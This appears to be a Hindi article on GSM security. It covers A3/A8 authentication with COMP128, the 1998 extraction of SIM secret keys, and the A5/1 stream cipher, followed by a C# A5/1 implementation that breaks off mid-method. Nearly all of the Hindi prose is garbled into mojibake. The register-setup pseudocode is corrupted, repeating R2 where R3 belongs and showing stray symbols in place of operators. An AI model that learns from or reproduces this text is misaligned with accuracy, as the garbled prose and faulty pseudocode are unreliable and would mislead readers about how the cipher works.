рдЬреАрдПрд╕рдПрдо рдиреЗрдЯрд╡рд░реНрдХ рд╕реБрд░рдХреНрд╖рд╛: рдбреЗрдЯрд╛ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди


рдЕрд╕реНрд╡реАрдХрд░рдг рдпрд╣ рд▓реЗрдЦ рдХреЗрд╡рд▓ рд╕реВрдЪрдирд╛ рдХреЗ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рдкреНрд░рдХрд╛рд╢рд┐рдд рд╕рд╛рдордЧреНрд░реА рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП, рд▓реЗрдЦрдХ рдЬрд┐рдореНрдореЗрджрд╛рд░ рдирд╣реАрдВ рд╣реИред
рдореИрдВ рдЖрдкрдХреЛ рддреБрд░рдВрдд рдЪреЗрддрд╛рд╡рдиреА рджреЗрдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рдЬреАрдПрд╕рдПрдо рдЯреНрд░реИрдлрд┐рдХ рдХреЛ рд╕реБрдирдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХрджрдо-рджрд░-рдЪрд░рдг рдорд╛рд░реНрдЧрджрд░реНрд╢рд┐рдХрд╛ рдЦреЛрдЬрдиреЗ рдХреА рдЙрдореНрдореАрдж рдХрд░рддреЗ рд╣реИрдВ рдпрд╛ рдпрджрд┐ рдЖрдк рдЙрдореНрдореАрдж рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдЗрд╕ рд▓реЗрдЦ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП, рдЕрдкрдиреЗ рджреЛрд╕реНрддреЛрдВ, рдкрд░рд┐рдЪрд┐рддреЛрдВ, рдкрд╛рд▓рддреВ рдЬрд╛рдирд╡рд░реЛрдВ рдХреА рдЯреЗрд▓реАрдлреЛрди рд╡рд╛рд░реНрддрд╛рд▓рд╛рдкреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ, рддреЛ рдЗрд╕реЗ рдЕрдирджреЗрдЦрд╛ рдХрд░рдирд╛ рдмреЗрд╣рддрд░ рд╣реИред рдЖрдкрдХреЛ рдпрд╣рд╛рдВ рдХреБрдЫ рднреА рджрд┐рд▓рдЪрд╕реНрдк рдирд╣реАрдВ рдорд┐рд▓реЗрдЧрд╛ред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдХрдЯ рдХреЗ рдиреАрдЪреЗ рдирд╣реАрдВ рдЬрд╛рдирд╛ рд╣реИ, рд╡рд╣рд╛рдБ рдКрдм рд╣реИред

рднрд╛рдЧ 1: рдЬреАрдПрд╕рдПрдо рд╕реБрд░рдХреНрд╖рд╛ рд╣рд╛рдЗрд▓рд╛рдЗрдЯреНрд╕


рдЬреАрдПрд╕рдПрдо рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдХреЗ рд╡рд┐рд╡рд░рдг рдХреЗ рд╕рд╛рде рдЖрдЧреЗ рдмрдврд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдЖрдЗрдП рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреИрд╕реЗ рдкреНрд░рдорд╛рдгрд┐рдд рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рд╡рд┐рдХрд┐рдкреАрдбрд┐рдпрд╛ рд╕реЗ рдЙрдзрд╛рд░ рд▓реА рдЧрдИ рдПрдХ рддрд╕реНрд╡реАрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ (рдореИрдВ рдЧреБрдгрд╡рддреНрддрд╛ рдХреЗ рд▓рд┐рдП рдорд╛рдлреА рдорд╛рдБрдЧрддрд╛ рд╣реВрдБ, рдореБрдЭреЗ рдХреБрдЫ рднреА рдмреЗрд╣рддрд░ рдирд╣реАрдВ рдорд┐рд▓рд╛)ред


рдЗрд╕ рдЖрдВрдХрдбрд╝реЗ рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд░рдгреЛрдВ рдХреЛ рдпреЛрдЬрдирд╛рдмрджреНрдз рд░реВрдк рд╕реЗ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:
  1. рдСрдкрд░реЗрдЯрд░ рдХрд╛ рдЯреЗрд▓реАрдлреЛрди рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реЛрддрд╛ рд╣реИред
  2. рдЗрд╕рдХреА рдкреНрд░рд╛рдорд╛рдгрд┐рдХрддрд╛ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдлреЛрди рдПрдХ рд╡рд┐рд╢реЗрд╖ рдкрд╣рдЪрд╛рди рдХреЛрдб рднреЗрдЬрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЯреАрдПрдордПрд╕рдЖрдИ (рдЕрд╕реНрдерд╛рдпреА рдореЛрдмрд╛рдЗрд▓ рд╕рдмреНрд╕рдХреНрд░рд╛рдЗрдмрд░ рдЖрдЗрдбреЗрдВрдЯрд┐рдЯреА) рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред
  3. рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗрдВрджреНрд░ (CA) рдПрдХ 128-рдмрд┐рдЯ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕рдВрдЦреНрдпрд╛ RAND рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдореЛрдмрд╛рдЗрд▓ рд╕реНрдЯреЗрд╢рди (MS) рдкрд░ рднреЗрдЬрддрд╛ рд╣реИред
  4. MS рдЕрдкрдиреА рдирд┐рдЬреА рдХреБрдВрдЬреА K i рдФрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо A3 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд RAND рдирдВрдмрд░ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рддрд╛ рд╣реИред
  5. MC рдкрд┐рдЫрд▓реЗ рдЪрд░рдг рдореЗрдВ рдкреНрд░рд╛рдкреНрдд рдЕрдиреБрдХреНрд░рдо рд╕реЗ рдкрд╣рд▓реЗ 32 рдмрд┐рдЯреНрд╕ рд▓реЗрддрд╛ рд╣реИ (рдЪрд▓реЛ рдЙрдиреНрд╣реЗрдВ SRES (рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛) рдХрд╣рддреЗ рд╣реИрдВ) рдФрд░ рдЙрдиреНрд╣реЗрдВ CA рдкрд░ рд╡рд╛рдкрд╕ рднреЗрдЬрддрд╛ рд╣реИред
  6. CA рд╕рдорд╛рди рдСрдкрд░реЗрд╢рди рдХрд░рддрд╛ рд╣реИ рдФрд░ XRES (рдЕрдкреЗрдХреНрд╖рд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛) рдХрд╛ 32 рдмрд┐рдЯ рдЕрдиреБрдХреНрд░рдо рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред
  7. рддрдм CA SRES рдФрд░ XRES рдХреА рддреБрд▓рдирд╛ рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рджреЛрдиреЛрдВ рдорд╛рди рд╕рдорд╛рди рд╣реИрдВ, рддреЛ рдлреЛрди рдХреЛ рдкреНрд░рдорд╛рдгрд┐рдд рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред
  8. MS рдФрд░ CA рдЧреБрдкреНрдд рдХреБрдВрдЬреА K i рдФрд░ рдХреБрдВрдЬреА рдкреАрдврд╝реА рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо A8 K c = A8 ki (рд░реИрдВрдб) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рддреНрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА рдХреА рдЧрдгрдирд╛ рдХрд░рддреЗ рд╣реИрдВ


рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдПрд▓реНрдЧреЛрд░рд┐рджрдо A3 рдФрд░ рдкреНрд░рдореБрдЦ рдкреАрдврд╝реА рдХреЗ рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо A8 рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмреЛрд▓рддреЗ рд╣реБрдП, рдпрд╣ рдзреНрдпрд╛рди рджрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рд╡реНрдпрд╡рд╣рд╛рд░ рдореЗрдВ рдЕрдзрд┐рдХрд╛рдВрд╢ рдореЛрдмрд╛рдЗрд▓ рдСрдкрд░реЗрдЯрд░ рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдПрдХ рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ COMP128 рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЗрд╕рдореЗрдВ рдХрдИ рд╕рдВрд╢реЛрдзрди COMP128-1, COMP128-2, COMP128-3) рд╣реИрдВред
COMP128 рдПрдХ рд╕рд╛рдзрд╛рд░рдг рд╣реИрд╢ рдлрд╝рдВрдХреНрд╢рди рд╣реИ, рдЬреЛ рдЗрдирдкреБрдЯ рдкрд░ 128-рдмрд┐рдЯ рдЕрдиреБрдХреНрд░рдо рд▓реЗрддрд╛ рд╣реИ рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рдкрд░ 96-рдмрд┐рдЯ рдЕрдиреБрдХреНрд░рдо рджреЗрддрд╛ рд╣реИред
рдЗрд╕рд▓рд┐рдП, рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдЕрд▓рдЧ-рдЕрд▓рдЧ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдФрд░ рд╕рддреНрд░ рдХреБрдВрдЬреА рдмрдирд╛рдиреЗ рдХреЗ рдмрдЬрд╛рдп, рдирд┐рдореНрди рдпреЛрдЬрдирд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
SRES = COMP128 рд╕реЗ рдкрд╣рд▓реЗ 32 рдмрд┐рдЯреНрд╕ (K i || RAND)
K c = COMP128 рдХреЗ рдЕрдВрддрд┐рдо 64 рдмрд┐рдЯреНрд╕ (K i || RAND)ред
рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлреА рдореЗрдВ рд╣рдореЗрд╢рд╛ рдХреА рддрд░рд╣, рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рд▓рд┐рдП рд╕рдордп рдмрдЪрд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╡рд┐рдлрд▓ рд░рд╣реАред рдЬреАрдПрд╕рдПрдо рдиреЗрдЯрд╡рд░реНрдХ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╢реБрд░реВ рдореЗрдВ "рдЕрдЬреНрдЮрд╛рдд рдХреЗ рдХрд╛рд░рдг рд╕реБрд░рдХреНрд╖рд╛" рдХреЗ рд╕рд┐рджреНрдзрд╛рдВрдд рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдереАред рдФрд░ рдЬрдм 1998 рдореЗрдВ рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХреЛ рдорд╛рд░реНрдХ рдмреНрд░рд┐рдХреЗрдиреЛ, рдЗрдпрд╛рди рдЧреЛрд▓реНрдбрдмрд░реНрдЧ рдФрд░ рдбреЗрд╡рд┐рдб рд╡реИрдЧрдирд░ рдХреЗ рд╢реЛрдзрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдПрдХ рд╕рдореВрд╣ рджреНрд╡рд╛рд░рд╛ рдЦреЛрдЬрд╛ рдЧрдпрд╛ рдерд╛, рддреЛ рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рд╡рд┐рд╢реЗрд╖рддрд╛ рд╕рд╛рдордиреЗ рдЖрдИ: рдЧреБрдкреНрдд рдХреБрдВрдЬреА рдХреЗ рдХреЗ рдЕрдВрддрд┐рдо 10 рдмрд┐рдЯреНрд╕ рд╣рдореЗрд╢рд╛ рд╢реВрдиреНрдп рдереЗ ред рдЗрд╕ рдЙрддреНрд╕реБрдХ рд╕рдВрдкрддреНрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд╕рд╛рде-рд╕рд╛рде COMP128 рдХреА рднреЗрджреНрдпрддрд╛ "рдЬрдиреНрдорджрд┐рди рдХреЗ рд╣рдорд▓реЗ" рдХреЗ рд▓рд┐рдП рдорд╛рд░реНрдХ рдмреНрд░реАрдиреЗрдиреЛ, рдЗрдпрд╛рди рдЧреЛрд▓реНрдбрдмрд░реНрдЧ рдФрд░ рдбреЗрд╡рд┐рдб рд╡реИрдЧрдирд░ рд╕рд┐рдо рдХрд╛рд░реНрдб рд╕реЗ рдЧреБрдкреНрдд рдХреБрдВрдЬреА рдХреЗ i рдирд┐рдХрд╛рд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗред
рдЗрд╕ рдЕрдзреНрдпрдпрди рдХрд╛ рдкрд░рд┐рдгрд╛рдо COMP128 рдПрд▓реНрдЧреЛрд░рд┐рдердо рдХреА рд╡реНрдпрд╛рдкрдХ рдЕрд╕реНрд╡реАрдХреГрддрд┐ рдФрд░ рдЕрдзрд┐рдХ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╕рдВрд╢реЛрдзрдиреЛрдВ COMP128-2 рдФрд░ COMP128-3 рдХреЗ рд╕рд╛рде рдЗрд╕рдХрд╛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдерд╛, рдЬрд┐рдирдХреЗ рддрдХрдиреАрдХреА рд╡рд┐рд╡рд░рдг рдЧреБрдкреНрдд рд░рдЦреЗ рдЬрд╛рддреЗ рд╣реИрдВред рд╣рдореНрдо ... рдХреНрдпрд╛ рдпрд╣ рдЖрдкрдХреЛ рдХреБрдЫ рдпрд╛рдж рджрд┐рд▓рд╛рддрд╛ рд╣реИ?

рднрд╛рдЧ 2: A5 / 1 рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо


рдЖрдЗрдП рдЕрдм рдЕрдзрд┐рдХ рд╕рд╛рдорд╛рдиреНрдп рдЪреАрдЬреЛрдВ рд╕реЗ рдФрд░ рдЕрдзрд┐рдХ рдирд┐рдЬреА рдЪреАрдЬреЛрдВ рдкрд░ рдЬрд╛рдПрдВ рдФрд░ рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░реЗрдВ рдХрд┐ рдЯреЗрд▓реАрдлреЛрди рд╡рд╛рд░реНрддрд╛рд▓рд╛рдк рдХрд╛ рдЬреАрдПрд╕рдПрдо рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреИрд╕реЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
рдЬреАрдПрд╕рдПрдо рдореЗрдВ рдПрдХ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХреЗ рд░реВрдк рдореЗрдВ, рдП 5 рдкрд░рд┐рд╡рд╛рд░ рдХреЗ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЖрдЬ рдЙрдирдореЗрдВ рд╕реЗ рдХреЗрд╡рд▓ 3 рд╣реИрдВ:

рдЖрдЗрдП рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдП 5/1 рдкрд░ рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред
рддреЛ, рдЬреИрд╕рд╛ рдХрд┐ рдКрдкрд░ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдП 5/1 рдПрдХ рд╕реНрдЯреНрд░реАрдо рд╕рд┐рдлрд░ рд╣реИред рдФрд░ рдлрд┐рд░ рд╕реЗ рд╡рд┐рдХрд┐рдкреАрдбрд┐рдпрд╛ рд╕реЗ рдорджрдж рдХреЗ рд▓рд┐рдП рдЪрд┐рддреНрд░ рдЖрдпрд╛:

A5 / 1 рд╕рд┐рдлрд░ рдХреА рдЖрдВрддрд░рд┐рдХ рд╕реНрдерд┐рддрд┐ рдореЗрдВ рддреАрди рд░реИрдЦрд┐рдХ рдкрд░рд┐рд╡рд░реНрддрди рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ R1, R2, R3 рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рдирдХреА рд▓рдВрдмрд╛рдИ 19, 22 рдФрд░ 23 рдмрд┐рдЯреНрд╕ рд╣реЛрддреА рд╣реИ, рдХреНрд░рдорд╢рдГ (рдХреБрд▓ 64 рдмрд┐рдЯреНрд╕)ред
рдЖрд░ 1, рдЖрд░ 2, рдЖрд░ 2, рдЖрд░ 3 рдореЗрдВ рдмрджрд▓рд╛рд╡ рддрднреА рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдХреЛрдИ рдирд┐рд╢реНрдЪрд┐рдд рд╢рд░реНрдд рдкреВрд░реА рд╣реЛрддреА рд╣реИред рдкреНрд░рддреНрдпреЗрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рдПрдХ "рдШрдбрд╝реА рдирд┐рдпрдВрддреНрд░рдг рдмрд┐рдЯ" рд╣реЛрддрд╛ рд╣реИред рдЖрд░ 1 рдореЗрдВ, рдпрд╣ 8 рд╡рд╛рдВ рдмрд┐рдЯ рд╣реИ, рдЬрдмрдХрд┐ рдЖрд░ 2 рдФрд░ рдЖрд░ 3 рдореЗрдВ рдпрд╣ 10 рд╡рд╛рдВ рдмрд┐рдЯ рд╣реИред рдкреНрд░рддреНрдпреЗрдХ рдЪрд░рдг рдореЗрдВ, рдХреЗрд╡рд▓ рдЙрди рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╕рднреА рддреАрди рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЗ рд╕рд┐рдВрдХреНрд░реЛрдирд╛рдЗрдЬрд╝рд┐рдВрдЧ рдмрд┐рдЯреНрд╕ рдХреЗ рдореВрд▓реНрдпреЛрдВ рдХреЗ рдмрд░рд╛рдмрд░ рд╕рд┐рдВрдХреНрд░реЛрдирд╛рдЗрдЬрд╝реЗрд╢рди рдмрд┐рдЯ рдХрд╛ рдореВрд▓реНрдп рд╣реЛрддрд╛ рд╣реИред

рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдЪрд▓рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рд░рдЬрд┐рд╕реНрдЯрд░ рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝реЗрд╢рди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рд╣реЛрддрд╛ рд╣реИ:
  1. рдЖрд░ 1 = рдЖрд░ 2 = рдЖрд░ 3 = 0
  2. I = 0 рд╕реЗ 63 рдХреЗ рд▓рд┐рдП
    R1 [0] = R1 [0] =Kc [i]
    R2 [0] = R2 [0] 0Kc [i]
    R2 [0] = R2 [0] 0Kc [i]
    рд╕рд┐рдВрдХреНрд░рдирд╛рдЗрдЬрд╝реЗрд╢рди рдмрд┐рдЯреНрд╕ рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░рддреЗ рд╣реБрдП, рд╕рднреА рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рдПрдХ рд╕реНрдерд┐рддрд┐ рдореЗрдВ рд╢рд┐рдлреНрдЯ рдХрд░реЗрдВред
  3. I = 0 рд╕реЗ 22 рдХреЗ рд▓рд┐рдП
    R1 [0] = R1 [0] CFrameCount [[i]
    R2 [0] = R2 [0] 0FrameCount [[i]
    R2 [0] = R2 [0] 0FrameCount [[i]
    рд╕рд┐рдВрдХреНрд░рдирд╛рдЗрдЬрд╝реЗрд╢рди рдмрд┐рдЯреНрд╕ рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░рддреЗ рд╣реБрдП, рд╕рднреА рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рдПрдХ рд╕реНрдерд┐рддрд┐ рдореЗрдВ рд╢рд┐рдлреНрдЯ рдХрд░реЗрдВред
  4. I = 0 рд╕реЗ 99 рдХреЗ рд▓рд┐рдП
    рд╕рд┐рдВрдХреНрд░рдирд╛рдЗрдЬрд╝реЗрд╢рди рдмрд┐рдЯреНрд╕ рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрддреЗ рд╣реБрдП, рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рдПрдХ рд╕реНрдерд╛рди рдкрд░ рд╢рд┐рдлреНрдЯ рдХрд░реЗрдВред

рдЬрд╣рд╛рдВ рдлреНрд░реЗрдорд╡рд░реНрдХ рд╡рд░реНрддрдорд╛рди рдлреНрд░реЗрдо рдХреА рд╕рдВрдЦреНрдпрд╛ рдХрд╛ 32-рдмрд┐рдЯ рд░рд┐рдХреЙрд░реНрдб рд╣реИред

рдкреНрд░рд╛рд░рдВрднрд┐рдХрдХрд░рдг рдХреЗ рдмрд╛рдж, рдЖрдЙрдЯрдкреБрдЯ рдЕрдиреБрдХреНрд░рдо рдХреЗ 228 рдмрд┐рдЯреНрд╕ рдХреА рдЧрдгрдирд╛ рдХреА рдЬрд╛рддреА рд╣реИред 114 рдмрд┐рдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рдореЛрдмрд╛рдЗрд▓ рдлреЛрди рдкрд░ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдбреЗрдЯрд╛ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╢реЗрд╖ 114 рдмрд┐рдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдлреЛрди рд╕реЗ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдбреЗрдЯрд╛ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рд╕реНрд╡рдпрдВ рдбреЗрдЯрд╛ рдФрд░ A5 / 1 рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрд╛рджрд┐рдд рдХреБрдВрдЬреА рд╕реНрдЯреНрд░реАрдо рдХреЗ рдмреАрдЪ рдПрдХ рд╕рд╛рдзрд╛рд░рдг XOR рд╣реИред
рдбреЗрдЯрд╛ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдХреЗ рдмрд╛рдж, рдлреНрд░реЗрдо рдирдВрдмрд░ рдПрдХ рд╕реЗ рдмрдврд╝ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рд╣рдо рдЙрдкрд░реЛрдХреНрдд рд╡рд┐рд╡рд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ рдФрд░ C5 рдореЗрдВ A5 / 1 рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рд▓рд╛рдЧреВ рдХрд░реЗрдВрдЧреЗред
рдХрдХреНрд╖рд╛ A5Enc C # рдореЗрдВ
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Collections; namespace A5project { class A5Enc { private bool[] reg = new bool[19]; private bool[] reg2 = new bool[22]; private bool[] reg3 = new bool[23]; //,           public A5Enc(bool[][] startState) { reg = startState[0]; reg2 = startState[1]; reg3 = startState[2]; } public A5Enc() { for (int i = 0; i < 19; i++) reg[i] = false; for (int i = 0; i < 22; i++) reg2[i] = false; for (int i = 0; i < 23; i++) reg3[i] = false; } //  ,      A5 public void KeySetup(byte[] key, int[] frame) { for (int i = 0; i < 19; i++) reg[i] = false; for (int i = 0; i < 22; i++) reg2[i] = false; for (int i = 0; i < 23; i++) reg3[i] = false; BitArray KeyBits = new BitArray(key); BitArray FrameBits = new BitArray(frame); bool[] b = new bool[64]; for (int i = 0; i < 64; i++) { clockall(); reg[0] = reg[0] ^ KeyBits[i]; reg2[0] = reg2[0] ^ KeyBits[i]; reg3[0] = reg3[0] ^ KeyBits[i]; } for (int i = 0; i < 22; i++) { clockall(); reg[0] = reg[0] ^ FrameBits[i]; reg2[0] = reg2[0] ^ FrameBits[i]; reg3[0] = reg3[0] ^ FrameBits[i]; } for (int i = 0; i < 100; i++) { clock(); } } // ,       public void KeySetup(int[] frame) { BitArray FrameBits = new BitArray(frame); for (int i = 0; i < 22; i++) { clockall(); reg[0] = reg[0] ^ FrameBits[i]; reg2[0] = reg2[0] ^ FrameBits[i]; reg3[0] = reg3[0] ^ FrameBits[i]; } for (int i = 0; i < 100; i++) { clock(); } } private void clock() { bool majority = ((reg[8] & reg2[10]) | (reg[8] & reg3[10]) | (reg2[10] & reg3[10])); if (reg[8] == majority) clockone(reg); if (reg2[10] == majority) clocktwo(reg2); if (reg3[10] == majority) clockthree(reg3); } //     private bool[] clockone(bool[] RegOne) { bool temp = false; for (int i = RegOne.Length - 1; i > 0; i--) { if (i == RegOne.Length - 1) temp = RegOne[13] ^ RegOne[16] ^ RegOne[17] ^ RegOne[18]; RegOne[i] = RegOne[i - 1]; if (i == 1) RegOne[0] = temp; } return RegOne; } private bool[] clocktwo(bool[] RegTwo) { bool temp = false; for (int i = RegTwo.Length - 1; i > 0; i--) { if (i == RegTwo.Length - 1) temp = RegTwo[20] ^ RegTwo[21]; RegTwo[i] = RegTwo[i - 1]; if (i == 1) RegTwo[0] = temp; } return RegTwo; } private bool[] clockthree(bool[] RegThree) { bool temp = false; for (int i = RegThree.Length - 1; i > 0; i--) { if (i == RegThree.Length - 1) temp = RegThree[7] ^ RegThree[20] ^ RegThree[21] ^ RegThree[22]; RegThree[i] = RegThree[i - 1]; if (i == 1) RegThree[0] = temp; } return RegThree; } private void clockall() { reg = clockone(reg); reg2 = clocktwo(reg2); reg3 = clockthree(reg3); } //  114    public bool[] A5() { bool[] FirstPart = new bool[114]; for (int i = 0; i < 114; i++) { clock(); FirstPart[i] = (reg[18] ^ reg2[21] ^ reg3[22]); } return FirstPart; } //   228     public bool[] A5(bool AsFrame) { bool[] FirstPart = new bool[228]; for (int i = 0; i < 228; i++) { clock(); FirstPart[i] = (reg[18] ^ reg2[21] ^ reg3[22]); } return FirstPart; } public byte[] FromBoolToByte(bool[] key, bool lsb) { int bytes = key.Length / 8; if ((key.Length % 8) != 0) bytes++; byte[] arr2 = new byte[bytes]; int bitIndex = 0, byteIndex = 0; for (int i = 0; i < key.Length; i++) { if (key[i]) { if(lsb) arr2[byteIndex] |= (byte)(((byte)1) << (7 - bitIndex)); else arr2[byteIndex] |= (byte)(((byte)1) << (bitIndex)); } bitIndex++; if (bitIndex == 8) { bitIndex = 